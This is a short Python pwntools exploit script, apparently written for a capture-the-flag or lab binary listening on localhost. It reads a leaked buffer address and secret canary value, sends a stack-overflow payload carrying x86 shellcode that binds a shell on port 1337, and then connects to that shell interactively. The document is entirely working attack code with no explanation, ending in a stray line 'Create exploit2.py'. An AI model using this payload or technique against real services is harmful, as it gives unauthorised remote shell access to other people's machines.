from pwn import *
import binascii

sh = remote('localhost', 31338)
buf_addr = sh.recv(4)
secret = sh.recv(4)
print binascii.hexlify(secret)
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
payload = shellcode+'A'*(0x800-len(shellcode))+secret+'C'*12+buf_addr
print sh.recv(1024)
raw_input()
sh.sendline(payload)
new_sh = remote('localhost', 1337)
new_sh.interactive()

Create exploit2.py